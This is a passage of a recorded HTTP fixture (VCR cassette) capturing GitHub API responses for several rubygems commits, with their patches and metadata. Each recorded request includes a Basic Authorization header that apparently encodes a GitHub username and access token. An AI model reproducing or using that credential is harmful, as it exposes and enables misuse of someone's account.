ubygems/safe_yaml.rb","status":"modified","additions":4,"deletions":1,"changes":5,"blob_url":"https://github.com/rubygems/rubygems/blob/7106c8d706d63ce017c7afb696032c27c0a781a1/lib/rubygems/safe_yaml.rb","raw_url":"https://github.com/rubygems/rubygems/raw/7106c8d706d63ce017c7afb696032c27c0a781a1/lib/rubygems/safe_yaml.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/safe_yaml.rb?ref=7106c8d706d63ce017c7afb696032c27c0a781a1","patch":"@@ -35,7 +35,10 @@ def self.load input\n ::YAML.safe_load(input, [::Symbol])\n end\n else\n- warn \"YAML safe loading is not available. Please upgrade psych to a version that supports safe loading (>= 2.0).\"\n+ unless Gem::Deprecate.skip\n+ warn \"YAML safe loading is not available. Please upgrade psych to a version that supports safe loading (>= 2.0).\"\n+ end\n+\n def self.safe_load input, *args\n ::YAML.load input\n end"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:03 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/2b4a11377cc2e70df7a990eaedc6989849e7bd25 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:03 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4457' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"076b38b2648fe92730ba280ee93cf6ce" Last-Modified: - Fri, 20 Oct 2017 11:05:46 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.044644' X-Github-Request-Id: - C56C:4D97:903864:1C47A78:5A50E473 body: encoding: ASCII-8BIT string: '{"sha":"2b4a11377cc2e70df7a990eaedc6989849e7bd25","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-20T11:05:46Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-20T11:05:46Z"},"message":"Auto merge of #2047 - hsbt:update-latest-ruby, r=hsbt\n\nUse Ruby 2.2.8, 2.3.5 and 2.4.2.","tree":{"sha":"a74de22b5962ef67f71121dec7ce29cf2219ac81","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/a74de22b5962ef67f71121dec7ce29cf2219ac81"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/2b4a11377cc2e70df7a990eaedc6989849e7bd25","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/2b4a11377cc2e70df7a990eaedc6989849e7bd25","html_url":"https://github.com/rubygems/rubygems/commit/2b4a11377cc2e70df7a990eaedc6989849e7bd25","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/2b4a11377cc2e70df7a990eaedc6989849e7bd25/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"ddbf3203f3857649abe95c73edefc7de7e6ecff4","url":"https://api.github.com/repos/rubygems/rubygems/commits/ddbf3203f3857649abe95c73edefc7de7e6ecff4","html_url":"https://github.com/rubygems/rubygems/commit/ddbf3203f3857649abe95c73edefc7de7e6ecff4"},{"sha":"558aa708e3923ae5030dd674c594fb9cbb77b61f","url":"https://api.github.com/repos/rubygems/rubygems/commits/558aa708e3923ae5030dd674c594fb9cbb77b61f","html_url":"https://github.com/rubygems/rubygems/commit/558aa708e3923ae5030dd674c594fb9cbb77b61f"}],"stats":{"total":6,"additions":3,"deletions":3},"files":[{"sha":"2593aae6efb68f917c07d9a956307d3a92abc332","filename":".travis.yml","status":"modified","additions":3,"deletions":3,"changes":6,"blob_url":"https://github.com/rubygems/rubygems/blob/2b4a11377cc2e70df7a990eaedc6989849e7bd25/.travis.yml","raw_url":"https://github.com/rubygems/rubygems/raw/2b4a11377cc2e70df7a990eaedc6989849e7bd25/.travis.yml","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/.travis.yml?ref=2b4a11377cc2e70df7a990eaedc6989849e7bd25","patch":"@@ -18,9 +18,9 @@ rvm:\n - 1.9.3\n - 2.0.0\n - 2.1.10\n-- 2.2.7\n-- 2.3.4\n-- 2.4.1\n+- 2.2.8\n+- 2.3.5\n+- 2.4.2\n - ruby-head\n env:\n - \"TEST_TOOL=rubygems YAML=syck\""}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:03 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/558aa708e3923ae5030dd674c594fb9cbb77b61f body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:03 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4456' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"7f764a710e7642d06b70a037ee91f301" Last-Modified: - Fri, 20 Oct 2017 09:53:48 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.049536' X-Github-Request-Id: - A29E:4D96:97187F:13A3D49:5A50E473 body: encoding: ASCII-8BIT string: '{"sha":"558aa708e3923ae5030dd674c594fb9cbb77b61f","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-20T09:53:48Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-20T09:53:48Z"},"message":"Use Ruby 2.2.8, 2.3.5 and 2.4.2.","tree":{"sha":"a74de22b5962ef67f71121dec7ce29cf2219ac81","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/a74de22b5962ef67f71121dec7ce29cf2219ac81"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/558aa708e3923ae5030dd674c594fb9cbb77b61f","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlnpx6wACgkQ+c8TQXJk\n+sIgbAgAs8d4jZt42bvEbkB5AhtsEiMf2lmXfm/WBoPwefEiTPsaSzgcCGE6CEwD\nPZNoJmLtrUZkyXuOliJjBtJ7v5WCy8ymr0S5gevMSCdIZkwe695gmZ0IFMpG42LZ\nctAkeJuejo2kNytibRnxnWaVF4OTfHhLtuBSnlENnKrbagwkf7LdctrB0GHfRaSL\nOmVbeHZ6ro7m96o6JucWQE9Zs73yWSgryfgvEHGn1L49keBtc0KEqlIKFSTY/2fi\n1RNQ4kIgVUtxcCiZQAVD/ctMMuv3lfBKwWunw1atpRdb+GrV20KjgaQi89z01rse\nLi14FbnZk9+i7MLyxsfcCgGzU0n23A==\n=usqc\n-----END PGP SIGNATURE-----","payload":"tree a74de22b5962ef67f71121dec7ce29cf2219ac81\nparent ddbf3203f3857649abe95c73edefc7de7e6ecff4\nauthor SHIBATA Hiroshi 1508493228 +0900\ncommitter SHIBATA Hiroshi 1508493228 +0900\n\nUse Ruby 2.2.8, 2.3.5 and 2.4.2.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/558aa708e3923ae5030dd674c594fb9cbb77b61f","html_url":"https://github.com/rubygems/rubygems/commit/558aa708e3923ae5030dd674c594fb9cbb77b61f","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/558aa708e3923ae5030dd674c594fb9cbb77b61f/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"ddbf3203f3857649abe95c73edefc7de7e6ecff4","url":"https://api.github.com/repos/rubygems/rubygems/commits/ddbf3203f3857649abe95c73edefc7de7e6ecff4","html_url":"https://github.com/rubygems/rubygems/commit/ddbf3203f3857649abe95c73edefc7de7e6ecff4"}],"stats":{"total":6,"additions":3,"deletions":3},"files":[{"sha":"2593aae6efb68f917c07d9a956307d3a92abc332","filename":".travis.yml","status":"modified","additions":3,"deletions":3,"changes":6,"blob_url":"https://github.com/rubygems/rubygems/blob/558aa708e3923ae5030dd674c594fb9cbb77b61f/.travis.yml","raw_url":"https://github.com/rubygems/rubygems/raw/558aa708e3923ae5030dd674c594fb9cbb77b61f/.travis.yml","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/.travis.yml?ref=558aa708e3923ae5030dd674c594fb9cbb77b61f","patch":"@@ -18,9 +18,9 @@ rvm:\n - 1.9.3\n - 2.0.0\n - 2.1.10\n-- 2.2.7\n-- 2.3.4\n-- 2.4.1\n+- 2.2.8\n+- 2.3.5\n+- 2.4.2\n - ruby-head\n env:\n - \"TEST_TOOL=rubygems YAML=syck\""}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:03 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/ddbf3203f3857649abe95c73edefc7de7e6ecff4 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:03 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4455' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"77a7f8777d5225d29307f3468782da20" Last-Modified: - Wed, 18 Oct 2017 11:57:21 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.052719' X-Github-Request-Id: - C570:4D94:4F0128:B305B6:5A50E473 body: encoding: ASCII-8BIT string: '{"sha":"ddbf3203f3857649abe95c73edefc7de7e6ecff4","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-18T11:57:21Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-18T11:57:21Z"},"message":"Auto merge of #2042 - hsbt:fix-2041, r=hsbt\n\nFix NoMethodError on bundler/inline environment\n\nFixes #2041\n\nraw_require_paths returns nil variable when running with bundle/inline environment.","tree":{"sha":"7754c3a4a33899f2794b90d9d21a6af0a154cbc7","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/7754c3a4a33899f2794b90d9d21a6af0a154cbc7"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/ddbf3203f3857649abe95c73edefc7de7e6ecff4","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/ddbf3203f3857649abe95c73edefc7de7e6ecff4","html_url":"https://github.com/rubygems/rubygems/commit/ddbf3203f3857649abe95c73edefc7de7e6ecff4","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/ddbf3203f3857649abe95c73edefc7de7e6ecff4/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"9e99da1e79c774cbd98fa47e809abfd807a1c167","url":"https://api.github.com/repos/rubygems/rubygems/commits/9e99da1e79c774cbd98fa47e809abfd807a1c167","html_url":"https://github.com/rubygems/rubygems/commit/9e99da1e79c774cbd98fa47e809abfd807a1c167"},{"sha":"3e0fb7d906741b64f84e1ac74b9a1b1362e75e8a","url":"https://api.github.com/repos/rubygems/rubygems/commits/3e0fb7d906741b64f84e1ac74b9a1b1362e75e8a","html_url":"https://github.com/rubygems/rubygems/commit/3e0fb7d906741b64f84e1ac74b9a1b1362e75e8a"}],"stats":{"total":22,"additions":19,"deletions":3},"files":[{"sha":"72954a7863d1759a82311c2787f56d69cd38fdfd","filename":"lib/rubygems/basic_specification.rb","status":"modified","additions":7,"deletions":3,"changes":10,"blob_url":"https://github.com/rubygems/rubygems/blob/ddbf3203f3857649abe95c73edefc7de7e6ecff4/lib/rubygems/basic_specification.rb","raw_url":"https://github.com/rubygems/rubygems/raw/ddbf3203f3857649abe95c73edefc7de7e6ecff4/lib/rubygems/basic_specification.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/basic_specification.rb?ref=ddbf3203f3857649abe95c73edefc7de7e6ecff4","patch":"@@ -275,10 +275,14 @@ def matches_for_glob glob # TODO: rename?\n # for this spec.\n \n def lib_dirs_glob\n- dirs = if self.raw_require_paths.size > 1 then\n- \"{#{self.raw_require_paths.join('','')}}\"\n+ dirs = if self.raw_require_paths\n+ if self.raw_require_paths.size > 1 then\n+ \"{#{self.raw_require_paths.join('','')}}\"\n+ else\n+ self.raw_require_paths.first\n+ end\n else\n- self.raw_require_paths.first\n+ \"lib\" # default value for require_paths for bundler/inline\n end\n \n \"#{self.full_gem_path}/#{dirs}\".dup.untaint"},{"sha":"43680265c7343d73eac90ac0c42647316ac4bbdc","filename":"test/rubygems/test_gem_stub_specification.rb","status":"modified","additions":12,"deletions":0,"changes":12,"blob_url":"https://github.com/rubygems/rubygems/blob/ddbf3203f3857649abe95c73edefc7de7e6ecff4/test/rubygems/test_gem_stub_specification.rb","raw_url":"https://github.com/rubygems/rubygems/raw/ddbf3203f3857649abe95c73edefc7de7e6ecff4/test/rubygems/test_gem_stub_specification.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_stub_specification.rb?ref=ddbf3203f3857649abe95c73edefc7de7e6ecff4","patch":"@@ -110,6 +110,18 @@ def test_matches_for_glob\n assert_equal code_rb, stub.matches_for_glob(''code*'').first\n end\n \n+ def test_matches_for_glob_with_bundler_inline\n+ stub = stub_with_extension\n+ code_rb = File.join stub.gem_dir, ''lib'', ''code.rb''\n+ FileUtils.mkdir_p File.dirname code_rb\n+ FileUtils.touch code_rb\n+\n+ stub.stub(:raw_require_paths, nil) do\n+ assert_equal code_rb, stub.matches_for_glob(''code*'').first\n+ end\n+ end\n+\n+\n def test_missing_extensions_eh\n stub = stub_with_extension do |s|\n extconf_rb = File.join s.gem_dir, s.extensions.first"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:04 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/9e99da1e79c774cbd98fa47e809abfd807a1c167 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:04 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4454' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"91de9a7532fbfb5d8ac70ce300b2f569" Last-Modified: - Wed, 18 Oct 2017 09:49:06 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.045992' X-Github-Request-Id: - A2A2:4D95:F4821A:1C83F71:5A50E474 body: encoding: ASCII-8BIT string: '{"sha":"9e99da1e79c774cbd98fa47e809abfd807a1c167","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-18T09:49:06Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-18T09:49:06Z"},"message":"Auto merge of #2038 - duckinator:fix-conditionals, r=hsbt\n\nDon''t use two postfix conditionals on one line.\n\n# Description:\n\nAvoid chaining postfix conditionals (`foo if bar unless baz`) because it''s hard to understand.\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [ ] Write tests -- not needed.\n- [x] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"a7e182f04d833266427b4152eda2fc0e07774cd3","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/a7e182f04d833266427b4152eda2fc0e07774cd3"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/9e99da1e79c774cbd98fa47e809abfd807a1c167","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/9e99da1e79c774cbd98fa47e809abfd807a1c167","html_url":"https://github.com/rubygems/rubygems/commit/9e99da1e79c774cbd98fa47e809abfd807a1c167","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/9e99da1e79c774cbd98fa47e809abfd807a1c167/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"8a44d71b56efd51e923f589f8b2fb97512378ef0","url":"https://api.github.com/repos/rubygems/rubygems/commits/8a44d71b56efd51e923f589f8b2fb97512378ef0","html_url":"https://github.com/rubygems/rubygems/commit/8a44d71b56efd51e923f589f8b2fb97512378ef0"},{"sha":"295184237217c422c9a013e5870e2c7f91fc45dc","url":"https://api.github.com/repos/rubygems/rubygems/commits/295184237217c422c9a013e5870e2c7f91fc45dc","html_url":"https://github.com/rubygems/rubygems/commit/295184237217c422c9a013e5870e2c7f91fc45dc"}],"stats":{"total":12,"additions":6,"deletions":6},"files":[{"sha":"51fd51c474f89a5810197c2d088a43ceecdc556c","filename":"test/rubygems/test_gem_stream_ui.rb","status":"modified","additions":6,"deletions":6,"changes":12,"blob_url":"https://github.com/rubygems/rubygems/blob/9e99da1e79c774cbd98fa47e809abfd807a1c167/test/rubygems/test_gem_stream_ui.rb","raw_url":"https://github.com/rubygems/rubygems/raw/9e99da1e79c774cbd98fa47e809abfd807a1c167/test/rubygems/test_gem_stream_ui.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_stream_ui.rb?ref=9e99da1e79c774cbd98fa47e809abfd807a1c167","patch":"@@ -37,7 +37,7 @@ def setup\n \n def test_ask\n skip ''TTY detection broken on windows'' if\n- Gem.win_platform? unless RUBY_VERSION > ''1.9.2''\n+ Gem.win_platform? && RUBY_VERSION <= ''1.9.2''\n \n Timeout.timeout(1) do\n expected_answer = \"Arthur, King of the Britons\"\n@@ -49,7 +49,7 @@ def test_ask\n \n def test_ask_no_tty\n skip ''TTY detection broken on windows'' if\n- Gem.win_platform? unless RUBY_VERSION > ''1.9.2''\n+ Gem.win_platform? && RUBY_VERSION <= ''1.9.2''\n \n @in.tty = false\n \n@@ -61,7 +61,7 @@ def test_ask_no_tty\n \n def test_ask_for_password\n skip ''Always uses $stdin on windows'' if\n- Gem.win_platform? unless RUBY_VERSION > ''1.9.2''\n+ Gem.win_platform? && RUBY_VERSION <= ''1.9.2''\n \n Timeout.timeout(1) do\n expected_answer = \"Arthur, King of the Britons\"\n@@ -73,7 +73,7 @@ def test_ask_for_password\n \n def test_ask_for_password_no_tty\n skip ''TTY handling is broken on windows'' if\n- Gem.win_platform? unless RUBY_VERSION > ''1.9.2''\n+ Gem.win_platform? && RUBY_VERSION <= ''1.9.2''\n \n @in.tty = false\n \n@@ -85,7 +85,7 @@ def test_ask_for_password_no_tty\n \n def test_ask_yes_no_no_tty_with_default\n skip ''TTY handling is broken on windows'' if\n- Gem.win_platform? unless RUBY_VERSION > ''1.9.2''\n+ Gem.win_platform? && RUBY_VERSION <= ''1.9.2''\n \n @in.tty = false\n \n@@ -100,7 +100,7 @@ def test_ask_yes_no_no_tty_with_default\n \n def test_ask_yes_no_no_tty_without_default\n skip ''TTY handling is broken on windows'' if\n- Gem.win_platform? unless RUBY_VERSION > ''1.9.2''\n+ Gem.win_platform? && RUBY_VERSION <= ''1.9.2''\n \n @in.tty = false\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:04 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/8a44d71b56efd51e923f589f8b2fb97512378ef0 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:04 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' 